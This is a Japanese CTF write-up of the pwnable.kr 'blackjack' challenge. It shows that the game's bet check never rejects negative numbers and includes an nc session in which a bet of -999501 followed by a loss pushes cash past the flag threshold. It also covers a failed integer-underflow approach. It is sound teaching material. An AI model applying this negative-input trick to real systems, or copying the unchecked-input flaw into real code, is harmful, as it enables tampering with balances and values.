Post

Pwnable.kr 「blackjack (Toddler's Bottle)」Writeup

不十分な入力検証により負数の入力が可能になることで値を改竄できる問題

Pwnable.kr 「blackjack (Toddler's Bottle)」Writeup

pwnable_kr-blackjack

Summary

本問は,不十分な入力検証により負数の入力が可能になることで値を改竄できる問題です.

  • Category: Misc
  • Description: Hey! check out this C implementation of blackjack game! I found it online http://cboard.cprogramming.com/c-programming/114023-simple-blackjack-program.html I like to give my flags to millionares. how much money you got?
  • Tools & TechStack:
    • C
  • Release: N/A

配布ファイル

.
├── blackjack
├── blackjack.c
├── Dockerfile
├── flag
├── readme
└── run.sh

1 directory, 6 files

ソースコードの解析

トランプを使ってディーラー (親) と勝負するカジノの定番カードゲームです.
手札の合計を21に近づけ,21を超えずにディーラーより大きい数にすれば勝ちになります.

  • I like to give my flags to millionares. how much money you got?
  • 僕は自分の旗を大富豪たちにあげるのが好きなんだ.君はいくらお金を持っているの?

問題の説明文に上記のような記載がされています.
推測ですが,特定の金額を上回るようにロジックバイパスやメモリ破壊を行えば,Flagが取得できるのではないかと考えました.

blackjack.c 本体が700行以上あるため,全文は載せていません.

実際に,money という単語で検索をかけると,周辺にターゲットになりそうなロジックが見つかりました.

  • cash_test(): if (cash > 1000000) という flag ファイルが見れるようになる条件が指定されています.
  • betting(): if (bet > cash) というロジックで,自分の所持金以上にベットできないようにしてあります.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//...
int cash = 500;
int bet;
//...
void cash_test() //Test for if user has cash remaining in purse
{
     if (cash <= 0) //Once user has zero remaining cash, game ends and prompts user to play again
     {
        printf("You Are Bankrupt. Game Over");
        cash = 500;
        askover();
     }
     if (cash > 1000000){
     	FILE* fp=fopen("flag", "r");
	char buf[100];
	memset(buf, 0, 100);
	fread(buf, 1, 100, fp);
	printf("%s\n", buf);
	fclose(fp);
     }
} // End Function
 
int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);
 
 if (bet > cash) //If player tries to bet more money than player has
 {
        printf("\nYou cannot bet more money than you have.");
        printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function
//..

負数同士の積が正になることを利用した点数の獲得

ゲームに勝ち続ける方法で点数を 1000000 点以上稼ぐのは現実的ではないため,これらのロジックを悪用して,点数を改竄する方法を探ります.
とりあえず,思いついた方法が実際に可能であるかを調査します.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//...
int cash = 500;
int bet;
//...
void play()
{
//...
        if (p > 21) // If player total is over 21, loss
        {
            printf("\nWoah Buddy, You Went WAY over.\n");
            loss = loss + 1;
            cash = cash - bet;
            printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
            dealer_total = 0;
            askover();
        }
//...
}

自分の所持金以上にベットできないようにする処理は,if (bet > cash) であり,これはマイナスの値を確認していません.
play() の負けた時の条件分岐 (loss) において,cash = cash - bet が計算されます.
そのため,bet が負の数のとき,cash = cash - (-bet) となり,bet 分が現在の cash に加算されることになります.

後は,500 - (-bet) > 1000000 を満たす bet を求めればいいことになります.
境界を攻めるのであれば,500 - (-999501) = 1000001 なので,-999501 を入力して,負けることでFlagが獲得できます.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$ nc pwnable.kr 10010
#...
Cash: $500
-------
|D    |
|  K  |
|    D|
-------

Your Total is 10

The Dealer Has a Total of 1

Enter Bet: $-999501


Would You Like to Hit or Stay?
Please Enter H to Hit or S to Stay.
S

You Have Chosen to Stay at 10. Wise Decision!

The Dealer Has a Total of 4
The Dealer Has a Total of 7
The Dealer Has a Total of 10
The Dealer Has a Total of 13
The Dealer Has a Total of 16
The Dealer Has a Total of 19
Dealer Has the Better Hand. You Lose.

You have 0 Wins and 1 Losses. Awesome!

Would You Like To Play Again?
Please Enter Y for Yes or N for No
Y
<REDACTED>


Cash: $1000001
-------
|C    |
|  3  |
|    C|
-------

Your Total is 3

The Dealer Has a Total of 3

Post-Mortem & Dead ends

cash のアンダーフローを利用する方法の検証

最初に,cash のアンダーフローによる正の巨大数への反転で解こうとしましたが,以下に示す理由でできませんでした.

一般的な環境下における int 型の範囲は,[-2147483648, 2147483647] です.

巨大な正の数にさせるには,cash をいったん INT_MIN より下まで突き抜けさせて,ラップアラウンドで正に回り込ませる しかありません.
しかし,cash の初期値が 500 円あるせいで,1度の入力における最小値の -2147483648 を入力したうえで,win() に到達させて cash = cash + bet をさせても,-2147483648 + 500 = -2147483148 となってしまい,INT_MIN を下回らせることができません.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void cash_test() // Test for if user has cash remaining in purse
{
    if (cash <= 0) // Once user has zero remaining cash, game ends and prompts user to play again
    {
        printf("You Are Bankrupt. Game Over");
        cash = 500;
        askover();
    }
    if (cash > 1000000)
    {
        FILE *fp = fopen("flag", "r");
        char buf[100];
        memset(buf, 0, 100);
        fread(buf, 1, 100, fp);
        printf("%s\n", buf);
        fclose(fp);
    }
} // End Function

また,複数ラウンドにおいても,cash_test() の if (cash <= 0) によって,ラウンド開始時に負の cash は 500 に上書きされるため,負数の cash を持ち越すことができません.

結果として,この経路は成り立ちませんでした.

References

N/A

This post is licensed under CC BY 4.0 by the author.